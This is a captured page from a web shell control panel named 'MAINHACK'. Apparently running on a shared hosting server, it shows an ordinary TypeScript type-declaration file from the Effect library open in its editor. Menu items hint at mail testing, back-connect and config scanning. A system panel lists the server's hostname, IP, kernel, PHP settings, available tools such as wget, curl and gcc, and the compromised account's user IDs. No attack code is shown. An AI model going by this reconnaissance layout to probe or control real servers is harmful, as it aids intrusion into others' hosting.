[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Resource.d.ts
/** * @since 2.0.0 */ import type * as Effect from "./Effect.js"; import type * as Schedule from "./Schedule.js"; import type * as Scope from "./Scope.js"; import type * as Types from "./Types.js"; import type * as Unify from "./Unify.js"; /** * @since 2.0.0 * @category symbols */ export declare const ResourceTypeId: unique symbol; /** * @since 2.0.0 * @category symbols */ export type ResourceTypeId = typeof ResourceTypeId; /** * A `Resource` is a possibly resourceful value that is loaded into memory, and * which can be refreshed either manually or automatically. * * @since 2.0.0 * @category models */ export interface Resource<in out A, in out E = never> extends Effect.Effect<A, E>, Resource.Variance<A, E> { readonly [Unify.typeSymbol]?: unknown; readonly [Unify.unifySymbol]?: ResourceUnify<this>; readonly [Unify.ignoreSymbol]?: ResourceUnifyIgnore; } /** * @category models * @since 3.9.0 */ export interface ResourceUnify<A extends { [Unify.typeSymbol]?: any; }> extends Effect.EffectUnify<A> { Resource?: () => Extract<A[Unify.typeSymbol], Resource<any, any>>; } /** * @category models * @since 3.9.0 */ export interface ResourceUnifyIgnore extends Effect.EffectUnifyIgnore { Effect?: true; } /** * @since 2.0.0 */ export declare namespace Resource { /** * @since 2.0.0 * @category models */ interface Variance<in out A, in out E> { readonly [ResourceTypeId]: { _A: Types.Invariant<A>; _E: Types.Invariant<E>; }; } } /** * Creates a new `Resource` value that is automatically refreshed according to * the specified policy. Note that error retrying is not performed * automatically, so if you want to retry on errors, you should first apply * retry policies to the acquisition effect before passing it to this * constructor. * * @since 2.0.0 * @category constructors */ export declare const auto: <A, E, R, Out, R2>(acquire: Effect.Effect<A, E, R>, policy: Schedule.Schedule<Out, unknown, R2>) => Effect.Effect<Resource<A, E>, never, R | R2 | Scope.Scope>; /** * Retrieves the current value stored in the cache. * * @since 2.0.0 * @category getters */ export declare const get: <A, E>(self: Resource<A, E>) => Effect.Effect<A, E>; /** * Creates a new `Resource` value that must be manually refreshed by calling * the refresh method. Note that error retrying is not performed * automatically, so if you want to retry on errors, you should first apply * retry policies to the acquisition effect before passing it to this * constructor. * * @since 2.0.0 * @category constructors */ export declare const manual: <A, E, R>(acquire: Effect.Effect<A, E, R>) => Effect.Effect<Resource<A, E>, never, Scope.Scope | R>; /** * Refreshes the cache. This method will not return until either the refresh * is successful, or the refresh operation fails. * * @since 2.0.0 * @category utils */ export declare const refresh: <A, E>(self: Resource<A, E>) => Effect.Effect<void, E>; //# sourceMappingURL=Resource.d.ts.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344